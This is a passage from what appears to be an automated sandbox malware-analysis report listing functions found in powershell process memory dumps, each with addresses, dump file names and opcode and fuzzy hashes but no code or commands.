                                                                                                                        • Instruction ID: fd6cd4e0abb1df7e17a071ef6643326d8c8bc560e7af322ce1460b0f251df714
                                                                                                                        • Opcode Fuzzy Hash: f470bcd74bd5e983a86ae57d0a7ed0514b0a8a0e1355fe9c3056111f485d2ca9
                                                                                                                        • Instruction Fuzzy Hash: B1516D34B00305CFDB21EF78C594A6ABBE2BFC82157168568E849CF352EB34ED028B51
                                                                                                                        Function 04C45AA0 Relevance: .1, Instructions: 137COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 5ee1ee1e17dc4b97512a6c50de9435f143ff03566e0bf3007a84c328626528d5
                                                                                                                        • Instruction ID: 1c8d9d80101204ecd09bd153afe0747101391dc3f0589776c54cceba4bdc9711
                                                                                                                        • Opcode Fuzzy Hash: 5ee1ee1e17dc4b97512a6c50de9435f143ff03566e0bf3007a84c328626528d5
                                                                                                                        • Instruction Fuzzy Hash: C0511270708B49FFC369DA2A8640566B7F3BFC92803988559D297CBB05F630FC429B51
                                                                                                                        Function 04C4E428 Relevance: .1, Instructions: 130COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 67ef66da6f55af3d71125bd0a018a44cd22861ed87a8bb5d5f7b802d44f4982f
                                                                                                                        • Instruction ID: c66dd0ead823ef3d80bc2d45ac71e0c5dc6931cb0df8f0cd23542c48cd60bc49
                                                                                                                        • Opcode Fuzzy Hash: 67ef66da6f55af3d71125bd0a018a44cd22861ed87a8bb5d5f7b802d44f4982f
                                                                                                                        • Instruction Fuzzy Hash: 59414B74B00305CFDB20EFA8C594E6AB7E6BFC82157558568E849CF355EB30ED028B91
                                                                                                                        Function 04C4E5B9 Relevance: .1, Instructions: 124COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e611740721cc8e990c452b7990a253807dc7d288e19cff9e3492bff3c3a0be25
                                                                                                                        • Instruction ID: 963b76136c96b498c55ffb73ee14ea7f7090128abfccf28a06dab116b5b4137a
                                                                                                                        • Opcode Fuzzy Hash: e611740721cc8e990c452b7990a253807dc7d288e19cff9e3492bff3c3a0be25
                                                                                                                        • Instruction Fuzzy Hash: D5416830E00209DFCB25DF68D994A9DBBB2FF89305F0485A9D415AB350DB306D46CF91
                                                                                                                        Function 04C46FB0 Relevance: .1, Instructions: 121COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2d32054fcd2dd94c0e5d7584626dd390cdc5488cd8023066e0e2eb00b9d2a592
                                                                                                                        • Instruction ID: 70169aaf6ea7cb9b34a346f97269c7ec7fc2d3237918b03d5833771367ab9bc6
                                                                                                                        • Opcode Fuzzy Hash: 2d32054fcd2dd94c0e5d7584626dd390cdc5488cd8023066e0e2eb00b9d2a592
                                                                                                                        • Instruction Fuzzy Hash: 05415335B05245CFDB05CFA4D5A4AA9BFF2AFCA314F194099E441EB362DB71AD01CB20
                                                                                                                        Function 04C46FE0 Relevance: .1, Instructions: 114COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c2ccda888a071b61a1ca61f088e4d21fb5149496b3c0fcb4ac2433d89c330a72
                                                                                                                        • Instruction ID: f292da0e269d734de478aef7d012afd7eab7e49495b4ee8c1fad3a256eeda176
                                                                                                                        • Opcode Fuzzy Hash: c2ccda888a071b61a1ca61f088e4d21fb5149496b3c0fcb4ac2433d89c330a72
                                                                                                                        • Instruction Fuzzy Hash: A2414834B01204CFDB19CFA5D568AAABBF2EF8D311F184499E406AB391DB31AD01CB61
                                                                                                                        Function 07773CE6 Relevance: .1, Instructions: 111COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1336294600.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_7770000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4006a9c1cb733056fa426124592a8c6e4bff84fb10e1356a17b18dc68b722e20
                                                                                                                        • Instruction ID: bb8afc8169ec24f43eecc57214a06ff30d9e2f443307d9f4c7f823781faa03c4
                                                                                                                        • Opcode Fuzzy Hash: 4006a9c1cb733056fa426124592a8c6e4bff84fb10e1356a17b18dc68b722e20
                                                                                                                        • Instruction Fuzzy Hash: A83107F0A00282DFDF258E14C544BB7B7E6AF95684F1484AAD9009F346C772EC84D7A2
                                                                                                                        Function 04C4E610 Relevance: .1, Instructions: 107COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e8bc6e6d66f75b38dc802cee2e64114746c8524ca72bf2b281bec974541693f2
                                                                                                                        • Instruction ID: 946574d0297963b0bf8f04c0386b2eb3a38dbaf3e1bf66a2ea5375b52e4c90c0
                                                                                                                        • Opcode Fuzzy Hash: e8bc6e6d66f75b38dc802cee2e64114746c8524ca72bf2b281bec974541693f2
                                                                                                                        • Instruction Fuzzy Hash: FA41AB30A00205DFCB16DF68D994A9DBBF2FF89315F0485A8D406AB391DB30AD45CFA1
                                                                                                                        Function 04C42B00 Relevance: .1, Instructions: 107COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fe3f61b4d0079a69784026f3c1f97f7b2a1b8e00fba2c12efe2f52bb50231e86
                                                                                                                        • Instruction ID: c9c0fa3d60617f66975f0a61553c6e051fca30e734a7c12a6a8358f9a54e4b80
                                                                                                                        • Opcode Fuzzy Hash: fe3f61b4d0079a69784026f3c1f97f7b2a1b8e00fba2c12efe2f52bb50231e86
                                                                                                                        • Instruction Fuzzy Hash: AF415C74A002058FDB15CF48C199AAEFBB2FF88324B118599E815AB364C736FD91CB90
                                                                                                                        Function 04C4C388 Relevance: .1, Instructions: 101COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e214e1c3797eee864a483d134eb2853d0eb96f36d9bde8a700470adca975ec98
                                                                                                                        • Instruction ID: 30ec830e68c701e8283f8911f2325eca1597c1a92af65043209be23829bceb3b
                                                                                                                        • Opcode Fuzzy Hash: e214e1c3797eee864a483d134eb2853d0eb96f36d9bde8a700470adca975ec98
                                                                                                                        • Instruction Fuzzy Hash: 87319E353013009FD715EB79E844BAABB97EFC4355F108129D60ACB365EF70A806CBA1
                                                                                                                        Function 04C44843 Relevance: .1, Instructions: 100COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a5a8cc38faf1b50b612467d3c70eb61422b6a5c5f605286ba59b9db638185ce6
                                                                                                                        • Instruction ID: ef3601a4ef18657cfa7eb4db4ae225b45b656c6b7235c0874b7328c08c51ff41
                                                                                                                        • Opcode Fuzzy Hash: a5a8cc38faf1b50b612467d3c70eb61422b6a5c5f605286ba59b9db638185ce6
                                                                                                                        • Instruction Fuzzy Hash: BF41B434E01209DFDB19CFA8D584A9DBBB2AF88314F348159E404AB365C771AD86CB94
                                                                                                                        Function 07773CDD Relevance: .1, Instructions: 98COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1336294600.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_7770000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: db617502d273f443d328015da601c95b2358409523b6c0552c6cf52dded45fde
                                                                                                                        • Instruction ID: 40f5d849f20e2c0dd57bbd775d8cb07ca389b1b68b87d0a0a105331f2cb2342f
                                                                                                                        • Opcode Fuzzy Hash: db617502d273f443d328015da601c95b2358409523b6c0552c6cf52dded45fde
                                                                                                                        • Instruction Fuzzy Hash: D4314BF1B00282DBDF298E14C551BB777A7AF95684F14849ADD004F38ACB72EC48E7A5
                                                                                                                        Function 04C4AE60 Relevance: .1, Instructions: 91COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3cba3760bccb5f749dc47646e3d8bf8fa1f61d3334211fbd67b04607d113e842
                                                                                                                        • Instruction ID: 4b7aa517016742c53590aeed8dad3cd95bcb69cbb6cb5bf960cc06b850b8f387
                                                                                                                        • Opcode Fuzzy Hash: 3cba3760bccb5f749dc47646e3d8bf8fa1f61d3334211fbd67b04607d113e842
                                                                                                                        • Instruction Fuzzy Hash: 11315A70E402099FEB05DFA9D5847AE7BF6EFC9310F148069E415EB350EB359C428BA1
                                                                                                                        Function 04C4DFC0 Relevance: .1, Instructions: 89COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 58f0bf706088636c42089a9ca32e28f82f562dcf599ae65a6de6471391b54b4c
                                                                                                                        • Instruction ID: 820a5c4fe67507241e4a9a7761b8391fa1c02bf804c60e3f4c8d3580b1479a49
                                                                                                                        • Opcode Fuzzy Hash: 58f0bf706088636c42089a9ca32e28f82f562dcf599ae65a6de6471391b54b4c
                                                                                                                        • Instruction Fuzzy Hash: 1C315530A00204CFCB159F69D458AAEBBF2FF89354F1544ADD412EB7A1DB71AC41CBA1
                                                                                                                        Function 04C4AD28 Relevance: .1, Instructions: 84COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a5b4f9e7e88e2189a78288444a4a68d0cfa0cc33a1881162b6d2de170a79b21e
                                                                                                                        • Instruction ID: cdb114c53d44695545e5c63ca83a0140ce349baff36158dc2d3c5c409b4c50ae
                                                                                                                        • Opcode Fuzzy Hash: a5b4f9e7e88e2189a78288444a4a68d0cfa0cc33a1881162b6d2de170a79b21e
                                                                                                                        • Instruction Fuzzy Hash: 8E3194B4E042459FDB01DBB4D894AEE7BB3EF85300F1184ADD201AB395CA35AD01CF51
                                                                                                                        Function 04C4AE70 Relevance: .1, Instructions: 84COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1f46e284817ee8238f21b813816660f7a9778606191af64b22260bd09e8b00a1
                                                                                                                        • Instruction ID: 012d38b51d0d8d4b9ba0b3c893d06447348092db8a74f7f257f3947cfafd3eef
                                                                                                                        • Opcode Fuzzy Hash: 1f46e284817ee8238f21b813816660f7a9778606191af64b22260bd09e8b00a1
                                                                                                                        • Instruction Fuzzy Hash: 35314C70E402099FEB14DFA9D5947AEBAF7EFC8310F148029E415EB350EB359C418BA4
                                                                                                                        Function 04C4E640 Relevance: .1, Instructions: 83COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 527264de556ec54b839d84b4ae8fb1b58c67b94d83cecb3e5b748a4f76fcdb18
                                                                                                                        • Instruction ID: 70b4121a0a19a9e7ed4ca785d3c442c5a7df2222d305b3243427170f6d316a39
                                                                                                                        • Opcode Fuzzy Hash: 527264de556ec54b839d84b4ae8fb1b58c67b94d83cecb3e5b748a4f76fcdb18
                                                                                                                        • Instruction Fuzzy Hash: BB315734E00609DFCB25DF69D994A9EBBF2BF88244F148568D41AAB384DB70AD05CB91
                                                                                                                        Function 04C4AF98 Relevance: .1, Instructions: 81COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d88323e166911588d04e6480b6ffd9fae126db0977bd53f3471b441344785f11
                                                                                                                        • Instruction ID: ba8c48f15ceca78609fe4a1b4bf9eae6b24737d1c9e691062a3bcbf8db5ccc52
                                                                                                                        • Opcode Fuzzy Hash: d88323e166911588d04e6480b6ffd9fae126db0977bd53f3471b441344785f11
                                                                                                                        • Instruction Fuzzy Hash: C6219171E043588FDB15DBAAD50079EBBF6EF89320F14846AD418E7340CB35A9058BA5
                                                                                                                        Function 04C4AD38 Relevance: .1, Instructions: 77COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 0f8c46e3ffab0a33b8a71f3a8f2385c521b521c6cc2872342d1e003eba0f57b0
                                                                                                                        • Instruction ID: 966acfb4fe97594611342d65352f7f4573533f35474c68ca963d7baf11f9cb71
                                                                                                                        • Opcode Fuzzy Hash: 0f8c46e3ffab0a33b8a71f3a8f2385c521b521c6cc2872342d1e003eba0f57b0
                                                                                                                        • Instruction Fuzzy Hash: 603164B4E402099FEB05EFA5D954AEE7BB3EF84300F108469D215AB394DF35AD018F50
                                                                                                                        Function 04C4DFD0 Relevance: .1, Instructions: 77COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 833f4f13d4cce247664c89928cb6428872716e9d9528e9d233973d2e22e4ee2c
                                                                                                                        • Instruction ID: 99554790b3917840d6d06299fcc94eeb11fb4e1f8a6e122f1f3cbd305771149d
                                                                                                                        • Opcode Fuzzy Hash: 833f4f13d4cce247664c89928cb6428872716e9d9528e9d233973d2e22e4ee2c
                                                                                                                        • Instruction Fuzzy Hash: 5B310370A002188FCB14DF69D498AAEBBF2BF88754F15856DD406EB790DF71AC41CB90
                                                                                                                        Function 02FBF3D8 Relevance: .1, Instructions: 76COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327346654.0000000002FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FBD000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_2fbd000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: eadc6f9ab7b39a54a1a7953f774ea590d5da8c5d93404693d12270f3414dd1af
                                                                                                                        • Instruction ID: 660ad32bcb0c65ba7dcdbd03dc9da53e343739a28577d3ebb451945203745132
                                                                                                                        • Opcode Fuzzy Hash: eadc6f9ab7b39a54a1a7953f774ea590d5da8c5d93404693d12270f3414dd1af
                                                                                                                        • Instruction Fuzzy Hash: 2821E276A04300EFDB06DF10DEC0B56BB65FF88314F24C6A9EA094AA56C336D456CBA1
                                                                                                                        Function 04C493F0 Relevance: .1, Instructions: 76COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 83e1ad72fdc9a2185a815801bc9e4cb858fdaa5c78c2dfbf36e76060147c2665
                                                                                                                        • Instruction ID: 18f7b1fffa9b473e1b9d54ef1ca47a8a46aba57f2e22b0552a857e1484aa6f78
                                                                                                                        • Opcode Fuzzy Hash: 83e1ad72fdc9a2185a815801bc9e4cb858fdaa5c78c2dfbf36e76060147c2665
                                                                                                                        • Instruction Fuzzy Hash: 2F3187B49057448EDB60CF7AC18838ABFF2EF88320F28C46DD85D9B255D674A481CB61
                                                                                                                        Function 02FBF02C Relevance: .1, Instructions: 72COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327346654.0000000002FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FBD000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_2fbd000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3f2e7730192ffa001f741607b7f9969cde2bde331b80a86c221e002f16c4e50b
                                                                                                                        • Instruction ID: a9321b2751b4b20c91f9b73d978dfb4362b6edc36a98a2c0d89dc385c9deeea0
                                                                                                                        • Opcode Fuzzy Hash: 3f2e7730192ffa001f741607b7f9969cde2bde331b80a86c221e002f16c4e50b
                                                                                                                        • Instruction Fuzzy Hash: 36213776A04200DFDB15DF20DDC0B56BB61EF94764F20C66DEA0A4BA52C336D446CB61
                                                                                                                        Function 04C49400 Relevance: .1, Instructions: 69COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bc0d5616a34d7b3501fc2e1eeb1dca20bde03505175a1cac187c1bf799b30882
                                                                                                                        • Instruction ID: 2bb32825edef3ef04ae95b97b6004f148412e9eb345c71f7a2d7c8d1bcf2c97e
                                                                                                                        • Opcode Fuzzy Hash: bc0d5616a34d7b3501fc2e1eeb1dca20bde03505175a1cac187c1bf799b30882
                                                                                                                        • Instruction Fuzzy Hash: 172166B5A017448EEB60DF7AC58878AFBF6EFC8320F28C42ED85D97245D67464818F61
                                                                                                                        Function 04C4767C Relevance: .1, Instructions: 62COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fb4111597705578d1a2f85c17cddfeb25b50134dd291d311a182d26021879a03
                                                                                                                        • Instruction ID: 6486f4815279f2f866853bb4c11050679f709f2a8a660ab314d7c18f21416f50
                                                                                                                        • Opcode Fuzzy Hash: fb4111597705578d1a2f85c17cddfeb25b50134dd291d311a182d26021879a03
                                                                                                                        • Instruction Fuzzy Hash: 52111939B001188FDB14DBA9E940ADD77F6EBCC255B1540A5E909DB311DB30ED128B90
                                                                                                                        Function 02FBF3D3 Relevance: .1, Instructions: 57COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327346654.0000000002FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FBD000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_2fbd000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 86abae72bb8b1cff9036b38b87f2b2ab2493ab898db39df918bf320120c6b226
                                                                                                                        • Instruction ID: 7d3f7a2a7b0586f83036c4c1c0c7cf213f77bbd10085c33f9a3861aed74209ec
                                                                                                                        • Opcode Fuzzy Hash: 86abae72bb8b1cff9036b38b87f2b2ab2493ab898db39df918bf320120c6b226
                                                                                                                        • Instruction Fuzzy Hash: 26218C76904240DFCB06CF10DAC4B56BF72FF88314F24C6A9E9494A656C33AD46ACB91
                                                                                                                        Function 04C4C344 Relevance: .1, Instructions: 54COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e5dbffe5124a04e8096b0a70627d773e6dcfa21c2b1d8ebecbe3620be6c9ed99
                                                                                                                        • Instruction ID: d19e9375cc7f64a67a7577973913a68327d3531336d631be101cd1e7ba31e273
                                                                                                                        • Opcode Fuzzy Hash: e5dbffe5124a04e8096b0a70627d773e6dcfa21c2b1d8ebecbe3620be6c9ed99
                                                                                                                        • Instruction Fuzzy Hash: B5118C2160E3D05FD313973498B4A867FB59F83214F0A40EBC9C4CF2A3D9258849C3A6
                                                                                                                        Function 04C479C2 Relevance: .1, Instructions: 54COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_4c40000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 593daf3948bc01160d2f327c9091ae19b8ccc0b6301a73e77e8e6bd403379af0
                                                                                                                        • Instruction ID: 3f7c6e63104b36994d6da7171fc9d2115d1ba4be90cc4777c8d9a3f07ba4f10c
                                                                                                                        • Opcode Fuzzy Hash: 593daf3948bc01160d2f327c9091ae19b8ccc0b6301a73e77e8e6bd403379af0
                                                                                                                        • Instruction Fuzzy Hash: BA012431708308AFC715CFA9E894A2F7BEAEF8A22170045ADE40AD7251DF31BC01C7A1
                                                                                                                        Function 02FBF027 Relevance: .1, Instructions: 53COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327346654.0000000002FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FBD000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_8_2_2fbd000_powershell.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 020411f76a1def23680c170f620a6ef38196b77a797ef2394590ff05fb243f34
                                                                                                                        • Instruction ID: 6704350021ead9f9c30a5fbc656838a93898b1cef74f11ae05bd61565e4f12a9
                                                                                                                        • Opcode Fuzzy Hash: 020411f76a1def23680c170f620a6ef38196b77a797ef2394590ff05fb243f34
                                                                                                                        • Instruction Fuzzy Hash: EE11BE79904280CFCB16CF14D9C0B55BF61FF44324F24C6A9E9494BA66C33AD44ACB51
                                                                                                                        Function 04C4BCE0 Relevance: .1, Instructions: 51COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000008.00000002.1327781404.0000000004C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
